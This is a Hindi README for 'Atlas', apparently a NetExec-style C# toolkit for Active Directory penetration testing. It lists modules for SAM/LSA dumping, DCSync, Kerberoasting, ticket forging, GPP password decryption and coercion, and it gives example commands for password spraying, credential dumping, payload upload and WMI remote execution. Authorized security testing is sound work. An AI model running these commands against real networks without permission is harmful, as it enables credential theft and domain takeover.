
क्रॉस-प्लेटफ़ॉर्म नेटवर्क निष्पादन टूलकिट (SMB/Kerberos/WMI/LDAP/DCSync) जो TrustedSec के Titanis पर आधारित है - C# में NetExec-शैली वर्कफ़्लो
Atlas एक क्रॉस-प्लेटफ़ॉर्म (Windows/Linux) नेटवर्क निष्पादन और सुरक्षा आकलन टूलकिट है, जो TrustedSec के Titanis प्रोटोकॉल लाइब्रेरी पर आधारित है। यह NetExec/CrackMapExec के वर्कफ़्लो से प्रेरित है: लक्ष्य सूचियाँ, क्रेडेंशियल सेट, मॉड्यूलर एन्यूमरेशन, और संक्षिप्त [HH:mm:ss] [+] host - message कंसोल आउटपुट।
यह टूल अधिकृत सुरक्षा परीक्षण के लिए है। इसका उपयोग केवल उन्हीं सिस्टमों पर करें जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति है।
| प्रोटोकॉल | क्षमताएँ |
|---|---|
smb | प्रमाणीकरण जाँच (NTLM/Kerberos/अनाम), SRVS/SAMR के माध्यम से शेयर, उपयोगकर्ता, समूह, डिस्क, सत्र; Remote Registry के माध्यम से SAM/LSA; SMB2/3 पर फ़ाइल संचालन; --pass-pol/--rid-brute/--gen-relay-list/--generate-krb5-file/--generate-hosts-file/--generate-tgt; स्नैपशॉट/स्ट्रीम/खुली फ़ाइलें/NIC; समूह सदस्य, LSA SID/नाम लुकअप, रजिस्ट्री क्वेरी, सेवाएँ, लॉग-ऑन उपयोगकर्ता, टास्क सूची/किल, EFS कोर्शन; wmiexec / smbexec / mmcexec (MMC DCOM) के माध्यम से निष्पादन |
kerberos | उपयोगकर्ता एन्यूमरेशन, pre-auth/AS-REP पहचान, Kerberoasting, Key List हमला, टिकट फ़ोर्जिंग (golden/silver), TGT अनुरोध, पासवर्ड परिवर्तन, S4U2Self/Proxy (-S4UserName) |
wmi | DCOM/WMI के माध्यम से प्रमाणीकरण, Win32_Process.Create (-x/-X) या --wmi-query (WQL), नेमस्पेस सूची, StdRegProv रजिस्ट्री, DCOM मेथड इनवोक, EPM एंडपॉइंट सूची |
ldap | SASL/simple bind के माध्यम से प्रमाणीकरण, क्वेरी + फ़्लैग (--users/--trusted-for-delegation/--pass-pol/--get-sid आदि), --kerberoasting, राइट ऑप्स (-AddUser/-AddComputer/-Delete/-Modify/-SetPassword), मॉड्यूल, --bloodhound (-c) से BloodHound CE JSON+zip |
dcsync | [MS-DRSR] (DRSGetNCChanges) के माध्यम से प्रतिकृति: एकल ऑब्जेक्ट, पूर्ण --ntds NC सिंक, टोपोलॉजी (-DcInfo/-ListDomains/-ListSites/-ListRoles/-ListPartitions/-ListGcs/-Neighbors/-CrackName) |
जहाँ संभव हो फ़्लैग शैली NetExec का अनुसरण करती है (
--shares,--users,--pass-pol,--rid-brute,--local-groups,-dडोमेन,-Hहैश,--kdcHost,-M/-o/-Lमॉड्यूल)। सिंगल-डैश Titanis वर्तनी (-Shares,-ud,-NtlmHash) भी काम करती रहती है। ध्यान दें:-x/-Xसह-अस्तित्व में नहीं रह सकते (केस-असंवेदनशील), इसलिए PowerShell exec-psहै;-dहर जगह डोमेन है, जिसमेंkerberosभी शामिल है (realm इसी पर वापस आता है)।
atlas <proto> -L इन्हें सूचीबद्ध करता है)| मॉड्यूल | प्रोटोकॉल | विवरण |
|---|---|---|
spider | smb | पुनरावर्ती शेयर क्रॉलर (depth, maxfiles, match) |
shareaccess | smb | प्रति-शेयर READ/WRITE एक्सेस जाँच |
localadmins | smb | SAMR के माध्यम से स्थानीय प्रशासक |
gpp_password | smb | Groups.xml आदि से cpassword को डिक्रिप्ट करता है |
gpp_autologin | smb | Registry.xml ऑटोलॉगॉन क्रेडेंशियल |
gpp_privileges | smb | GptTmpl.inf विशेषाधिकार असाइनमेंट |
uac / wdigest / runasppl / install_elevated | smb | winreg के माध्यम से रजिस्ट्री जाँच |
spooler | smb | SCM के माध्यम से प्रिंट स्पूलर स्थिति |
keepass / rclone / winscp / mremoteng / vnc आदि | smb | शेयरों पर फ़ाइल हंटर |
ntlmv1 / reg-winlogon / hyperv-host | smb | LmCompatibilityLevel, Winlogon ऑटोलॉगॉन, Hyper-V होस्ट |
remote-uac / rdp / shadowrdp | smb | रिमोट UAC, RDP, RDP शैडोइंग पढ़ें/लिखें (ACTION=...) |
reg-query | smb | रजिस्ट्री मान क्वेरी/सेट/हटाएँ (PATH=..., KEY=..., VALUE=..., TYPE=..., DELETE=True) |
enum_cve | smb | बिल्ड + UBR से पैच-स्तर CVE जाँच |
enum_av | smb | LSA सेवा नामों + IPC$ पाइप्स के माध्यम से AV/EDR |
enum_dns / get_netconnections / bitlocker | smb | WMI के माध्यम से (root\MicrosoftDNS, NIC कॉन्फ़िगरेशन, BitLocker) |
putty / notepad / recent_files / recyclebin / snipped | smb | PuTTY सत्र + .ppk, Notepad टैब-स्थिति, हाल के LNK, रीसायकल बिन, स्क्रीनशॉट |
lockscreendoors | smb | FileDescription के माध्यम से बैकडोर किए गए एक्सेसिबिलिटी बाइनरी |
drop-sc / drop-library-ms / scuffy / slinky | smb | कोएर्शन ल्यूर ड्रॉप्स + CLEANUP=True |
webdav / smbghost / onelogon / sccm-recon6 | smb | WebClient जाँच, SMBGhost प्रोब, VulnerableChannelAllowList, SCCM रिकॉन |
wcc | smb | Windows सुरक्षा स्थिति चेकलिस्ट (UAC/LSA/RDP/Defender/LAPS/NetBIOS/...) |
change-password | smb | SAMR के माध्यम से स्व-सेवा पासवर्ड परिवर्तन (USER=..., OLDPASS=..., NEWPASS=...) |
maq | ldap | ms-DS-MachineAccountQuota |
pre2k | ldap | Pre-Windows 2000 कंप्यूटर (UAC 4128) |
laps | ldap | LAPS पासवर्ड |
adcs | ldap | AD CS नामांकन सेवाएँ |
subnets | ldap | Configuration NC से साइट्स/सबनेट्स |
daclread / badsuccessor / certipy-find आदि | ldap | Titanis के माध्यम से LDAP गणना |
get-unixUserPassword / dns-nonsecure | ldap | Unix पासवर्ड, असुरक्षित DNS ज़ोन |
modify-group / add-computer | ldap | समूह सदस्यता, कंप्यूटर जीवनचक्र (NAME=..., DELETE=True, ...) |
सभी प्रोटोकॉल में साझा:
a.b.c.d-e), कॉमा सूचियाँ, @file.kirbi/.ccache टिकट, PKINIT प्रमाणपत्र, S4U, SPN ओवरराइड, SOCKS5रिपॉज़िटरी external/Titanis के अंतर्गत Titanis स्रोत को वेंडर करती है और इसे समाधान के भाग के रूप में बिल्ड करती है।
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
परिणामी बाइनरी एक फ्रेमवर्क-निर्भर .NET एप्लिकेशन है:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocol> <targets> [authentication] [actions] [options]
लक्ष्य विनिर्देश किसी भी मिश्रण को स्वीकार करता है: HOST, 10.0.0.5, 192.168.1.0/24, 10.0.0.1-64, अल्पविराम से अलग की गई सूचियाँ, या @targets.txt।
# Credential check only
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# SAM / LSA dumping (requires local admin)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# File operations
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# Modules and flags
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess -M gpp_password
atlas smb 10.0.0.5 -u admin -p pass -M localadmins -M uac
# Flags (NetExec-like)
atlas smb 10.0.0.5 -u admin -p pass --pass-pol --rid-brute 2000
atlas smb 10.0.0.5 --Anonymous --gen-relay-list relay.txt --generate-krb5-file krb5.conf
# Password spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# User enumeration (no credentials required)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting (requires any domain credential)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# Key List attack against an RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # auth check
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # exec